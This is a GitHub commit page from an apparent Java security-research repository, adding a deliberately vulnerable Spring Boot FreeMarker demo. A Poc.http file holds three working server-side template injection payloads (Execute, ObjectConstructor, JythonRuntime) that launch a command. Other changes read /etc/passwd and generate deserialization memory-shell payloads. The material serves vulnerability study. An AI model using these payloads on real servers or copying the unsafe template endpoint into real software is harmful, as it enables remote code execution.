Skip to content

Commit 0acccdf

Browse files
WhoopsunixWhoopsunix
committed
add SSTI :)
1 parent f5e71d6 commit 0acccdf

File tree

16 files changed

+247
-54
lines changed

16 files changed

+247
-54
lines changed

‎FilesOperations/src/main/java/org/example/FileRead.java

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,11 @@
77
* @author Whoopsunix
88
*/
99
public class FileRead {
10+
public static void main(String[] args) throws Exception {
11+
String s = read_InputStreamReader_BufferedInputStream("/etc/passwd");
12+
System.out.println(s);
13+
}
14+
1015
/**
1116
* abstract java.io.Reader
1217
* java.io.InputStreamReader
@@ -81,6 +86,20 @@ public String read_InputStreamReader_text(String str) throws Exception {
8186
return content.toString();
8287
}
8388

89+
public static String read_InputStreamReader_BufferedInputStream(String filePath) throws Exception {
90+
FileInputStream fileInputStream = new FileInputStream(filePath);
91+
BufferedInputStream bufferedInputStream = new BufferedInputStream(fileInputStream);
92+
byte[] buf = new byte[1024];
93+
int len;
94+
OutputStream outputStream = new ByteArrayOutputStream();
95+
while ((len = bufferedInputStream.read(buf)) > 0) {
96+
outputStream.write(buf, 0, len);
97+
}
98+
outputStream.close();
99+
bufferedInputStream.close();
100+
return outputStream.toString();
101+
}
102+
84103
// java.io.FileInputStream
85104
public String read_FileInputStream(String filePath) {
86105
String content = "";

‎JavaClass.http

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -31,7 +31,7 @@ Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0g
3131
Content-Disposition: form-data; name="file"; filename="cc4.bin"
3232
Content-Type: application/octet-stream
3333

34-
< ./dev/test.bin
34+
< ./dev/result.bin
3535
#< ./dev/TomcatExecutorThreadLoader.bin
3636
#< ./dev/TomcatListenerThreadMS.bin
3737
------WebKitFormBoundary7MA4YWxkTrZu0gW--

‎MemShellAndRceEcho/JakartaJettyDemo/pom.xml

Lines changed: 0 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -12,11 +12,6 @@
1212
<groupId>org.eclipse.jetty</groupId>
1313
<artifactId>jetty-webapp</artifactId>
1414
<version>11.0.0</version>
15-
<!-- <version>10.0.0</version>-->
16-
<!-- <version>9.0.0.M0</version>-->
17-
<!-- <version>8.0.0.M0</version>-->
18-
<!-- <version>7.1.0.RC0</version>-->
19-
<!-- <version>7.0.0.M0</version>-->
2015
</dependency>
2116

2217
<dependency>

‎MemShellAndRceEcho/JakartaTomcatDemo/pom.xml

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -32,6 +32,14 @@
3232
<artifactId>commons-collections4</artifactId>
3333
<version>4.0</version>
3434
</dependency>
35+
<dependency>
36+
<groupId>commons-collections</groupId>
37+
<artifactId>commons-collections</artifactId>
38+
<!--<version>3.1</version>-->
39+
<!-- <version>3.2</version>-->
40+
<version>3.2.1</version>
41+
<!-- <version>3.2.2</version>-->
42+
</dependency>
3543

3644
<dependency>
3745
<groupId>org.ppp.tools</groupId>

‎MemShellAndRceEcho/JavaxJettyDemo/src/main/java/org/example/jetty/utils/PayloadMake.java

Lines changed: 47 additions & 47 deletions
Original file line numberDiff line numberDiff line change
@@ -1,47 +1,47 @@
1-
package org.example.jetty.utils;
2-
3-
import me.gv7.tools.josearcher.entity.Blacklist;
4-
import me.gv7.tools.josearcher.entity.Keyword;
5-
import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;
6-
import org.example.jetty.memshell.JettyListenerThreadLoader;
7-
import org.ppp.tools.ser.CC4Generator;
8-
9-
import java.util.ArrayList;
10-
import java.util.List;
11-
12-
/**
13-
* @author Whoopsunix
14-
*/
15-
public class PayloadMake {
16-
public static void main(String[] args) throws Exception {
17-
cc4();
18-
}
19-
20-
public static void cc4() throws Exception {
21-
Class msmClass = JettyListenerThreadLoader.class;
22-
CC4Generator cc4Generator = new CC4Generator();
23-
String payload = cc4Generator.make(msmClass);
24-
System.out.println(payload.length());
25-
cc4Generator.makeFile(msmClass, "dev/test.bin");
26-
}
27-
28-
public void searchJetty() {
29-
//设置搜索类型包含Request关键字的对象
30-
List<Keyword> keys = new ArrayList<>();
31-
keys.add(new Keyword.Builder().setField_type("Request").build());
32-
//定义黑名单
33-
List<Blacklist> blacklists = new ArrayList<>();
34-
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
35-
//新建一个广度优先搜索Thread.currentThread()的搜索器
36-
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(), keys);
37-
// 设置黑名单
38-
searcher.setBlacklists(blacklists);
39-
//打开调试模式,会生成log日志
40-
searcher.setIs_debug(true);
41-
//挖掘深度为20
42-
searcher.setMax_search_depth(20);
43-
//设置报告保存位置
44-
searcher.setReport_save_path("/tmp/");
45-
searcher.searchObject();
46-
}
47-
}
1+
//package org.example.jetty.utils;
2+
//
3+
//import me.gv7.tools.josearcher.entity.Blacklist;
4+
//import me.gv7.tools.josearcher.entity.Keyword;
5+
//import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;
6+
//import org.example.jetty.memshell.JettyListenerThreadLoader;
7+
//import org.ppp.tools.ser.CC4Generator;
8+
//
9+
//import java.util.ArrayList;
10+
//import java.util.List;
11+
//
12+
///**
13+
// * @author Whoopsunix
14+
// */
15+
//public class PayloadMake {
16+
// public static void main(String[] args) throws Exception {
17+
// cc4();
18+
// }
19+
//
20+
// public static void cc4() throws Exception {
21+
// Class msmClass = JettyListenerThreadLoader.class;
22+
// CC4Generator cc4Generator = new CC4Generator();
23+
// String payload = cc4Generator.make(msmClass);
24+
// System.out.println(payload.length());
25+
// cc4Generator.makeFile(msmClass, "dev/test.bin");
26+
// }
27+
//
28+
// public void searchJetty() {
29+
// //设置搜索类型包含Request关键字的对象
30+
// List<Keyword> keys = new ArrayList<>();
31+
// keys.add(new Keyword.Builder().setField_type("Request").build());
32+
// //定义黑名单
33+
// List<Blacklist> blacklists = new ArrayList<>();
34+
// blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
35+
// //新建一个广度优先搜索Thread.currentThread()的搜索器
36+
// SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(), keys);
37+
// // 设置黑名单
38+
// searcher.setBlacklists(blacklists);
39+
// //打开调试模式,会生成log日志
40+
// searcher.setIs_debug(true);
41+
// //挖掘深度为20
42+
// searcher.setMax_search_depth(20);
43+
// //设置报告保存位置
44+
// searcher.setReport_save_path("/tmp/");
45+
// searcher.searchObject();
46+
// }
47+
//}

‎MemShellAndRceEcho/ResinDemo/src/main/java/org/example/resin/utils/PayloadMake.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ public static void cc4() throws Exception {
2222
CC4Generator cc4Generator = new CC4Generator();
2323
String payload = cc4Generator.make(ResinServletExecMS.class);
2424
System.out.println(payload.length());
25-
cc4Generator.makeFile(ResinServletExecMS.class, "cc4.bin");
25+
cc4Generator.makeFile(ResinServletExecMS.class, "dev/result.bin");
2626
}
2727

2828
public void searchResin() {

‎README.md

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -43,6 +43,7 @@ By. Whoopsunix
4343
- [Snakeyaml](#snakeyaml)
4444
- [0x07 文件读写 Demo](#0x07-文件读写-demo)
4545
- [0x08 XXE 有回显测试 Demo](#0x08-xxe-有回显测试-demo)
46+
- [0x09 SSTI](#0x09-ssti-freemarker)
4647
- [鸣谢](#Thanks)
4748

4849
# 0x01 [RceEcho & MemShell](MemShellAndRceEcho)
@@ -268,6 +269,8 @@ JDBC 序列化的知识可以参考这些项目 [JDBC-Attack](https://github.com
268269

269270
测试 JDK 原生的 XXE Demo 时最好将 pom 引入的依赖注释掉，idea 调试时容易出问题进不到想要的 hook 点
270271

272+
# 0x09 [SSTI FreeMarker](SSTI)
273+
271274
# Stats
272275

273276
![Alt](https://repobeats.axiom.co/api/embed/818a4d2c0d1562eec751b2637b825b3b0d2cf0e3.svg "Repobeats analytics image")

‎SSTI/pom.xml

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
3+
<modelVersion>4.0.0</modelVersion>
4+
<artifactId>SSTI</artifactId>
5+
<name>SSTI</name>
6+
<description>SSTI</description>
7+
<parent>
8+
<groupId>org.springframework.boot</groupId>
9+
<artifactId>spring-boot-starter-parent</artifactId>
10+
<version>1.5.8.RELEASE</version>
11+
</parent>
12+
13+
<properties>
14+
<java.version>1.7</java.version>
15+
</properties>
16+
17+
<dependencies>
18+
<dependency>
19+
<groupId>org.springframework.boot</groupId>
20+
<artifactId>spring-boot-starter-freemarker</artifactId>
21+
</dependency>
22+
<dependency>
23+
<groupId>org.python</groupId>
24+
<artifactId>jython-standalone</artifactId>
25+
<!-- <version>2.5.2</version>-->
26+
<version>2.7.3</version>
27+
</dependency>
28+
</dependencies>
29+
<build>
30+
<plugins>
31+
<plugin>
32+
<groupId>org.springframework.boot</groupId>
33+
<artifactId>spring-boot-maven-plugin</artifactId>
34+
</plugin>
35+
</plugins>
36+
</build>
37+
</project>

‎SSTI/src/main/java/com/ppp/ssti/HelloController.java

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
package com.ppp.ssti;
2+
3+
import freemarker.cache.MultiTemplateLoader;
4+
import freemarker.cache.StringTemplateLoader;
5+
import freemarker.cache.TemplateLoader;
6+
import freemarker.template.Configuration;
7+
import org.springframework.beans.factory.annotation.Autowired;
8+
import org.springframework.stereotype.Controller;
9+
import org.springframework.ui.Model;
10+
import org.springframework.web.bind.annotation.GetMapping;
11+
import org.springframework.web.bind.annotation.RequestBody;
12+
import org.springframework.web.bind.annotation.RequestMapping;
13+
import org.springframework.web.bind.annotation.RequestMethod;
14+
15+
import java.io.IOException;
16+
import java.util.Map;
17+
18+
@Controller
19+
public class HelloController {
20+
21+
@Autowired
22+
private Configuration con;
23+
24+
@GetMapping("/")
25+
public String index() {
26+
return "index";
27+
}
28+
29+
@RequestMapping(value = "/hello")
30+
public String hello(@RequestBody Map<String,Object> body, Model model) {
31+
model.addAttribute("name", body.get("name"));
32+
return "hello";
33+
}
34+
35+
@RequestMapping(value = "/template", method = RequestMethod.POST)
36+
public String template(@RequestBody Map<String,String> templates) throws IOException {
37+
StringTemplateLoader stringLoader = new StringTemplateLoader();
38+
for(String templateKey : templates.keySet()){
39+
stringLoader.putTemplate(templateKey, templates.get(templateKey));
40+
}
41+
con.setTemplateLoader(new MultiTemplateLoader(new TemplateLoader[]{stringLoader,
42+
con.getTemplateLoader()}));
43+
return "index";
44+
}
45+
}

‎SSTI/src/main/java/com/ppp/ssti/Poc.http

Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
###
2+
# 触发命令
3+
POST /hello HTTP/1.1
4+
Host: 127.0.0.1:8080
5+
Content-Type: application/json
6+
7+
{
8+
"name": "John"
9+
}
10+
11+
###
12+
# POC1 利用 freemarker.template.utility.Execute.exec() 调用 Runtime.getRuntime().exec() 执行
13+
POST /template HTTP/1.1
14+
Host: 127.0.0.1:8080
15+
Content-Type: application/json
16+
17+
{
18+
"hello.ftl": "<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"open -a Calculator\")}"
19+
}
20+
21+
22+
###
23+
# POC2 利用 freemarker.template.utility.ObjectConstructor.exec() 调用 newInstance() 执行
24+
POST /template HTTP/1.1
25+
Host: 127.0.0.1:8080
26+
Content-Type: application/json
27+
28+
{
29+
"hello.ftl": "<#assign value=\"freemarker.template.utility.ObjectConstructor\"?new()>${value(\"java.lang.ProcessBuilder\",\"open\",\"-a\",\"Calculator\").start()}"
30+
}
31+
32+
###
33+
# POC3 利用 freemarker.template.utility.JythonRuntime 调用 org.python.core.PrePy.getCommandResult() 执行 java.lang.ProcessBuilder
34+
POST /template HTTP/1.1
35+
Host: 127.0.0.1:8080
36+
Content-Type: application/json
37+
38+
{
39+
"hello.ftl": "<#assign value=\"freemarker.template.utility.JythonRuntime\"?new()><@value>import os;os.system(\"open -a Calculator\")</@value>"
40+
}
41+
42+

‎SSTI/src/main/java/com/ppp/ssti/WebApplication.java

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
package com.ppp.ssti;
2+
3+
import org.springframework.boot.SpringApplication;
4+
import org.springframework.boot.autoconfigure.SpringBootApplication;
5+
6+
@SpringBootApplication
7+
public class WebApplication {
8+
public static void main(String[] args) throws Exception {
9+
SpringApplication.run(WebApplication.class, args);
10+
}
11+
}
12+

‎SSTI/src/main/resources/application.properties

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
spring.freemarker.template-loader-path: classpath:/templates
2+
spring.freemarker.suffix: .ftl

‎SSTI/src/main/resources/static/css/main.css

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
.hello-title{
2+
color: darkgreen;
3+
}

‎SSTI/src/main/resources/static/js/main.js

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
(function(){
2+
console.log("Hello World!");
3+
})();

‎SSTI/src/main/resources/templates/hello.ftl

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
<!DOCTYPE html>
2+
<html lang="en">
3+
<head>
4+
<meta charset="UTF-8">
5+
<title>Hello ${name}!</title>
6+
<link href="/css/main.css" rel="stylesheet">
7+
</head>
8+
<body>
9+
<h2 class="hello-title">Hello ${name}!</h2>
10+
<script src="/js/main.js"></script>
11+
</body>
12+
</html>

‎SSTI/src/main/resources/templates/index.ftl

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
<!DOCTYPE html>
2+
<html lang="en">
3+
<head>
4+
<meta charset="UTF-8">
5+
<title>Spring Boot Hello World Example with FreeMarker - SSTI demo</title>
6+
<link href="/css/main.css" rel="stylesheet">
7+
</head>
8+
<body>
9+
<h2 class="hello-title">Spring Boot Hello World Example with FreeMarker - SSTI demo</h2>
10+
<script src="/js/main.js"></script>
11+
</body>
12+
</html>

0 commit comments

Comments
 (0)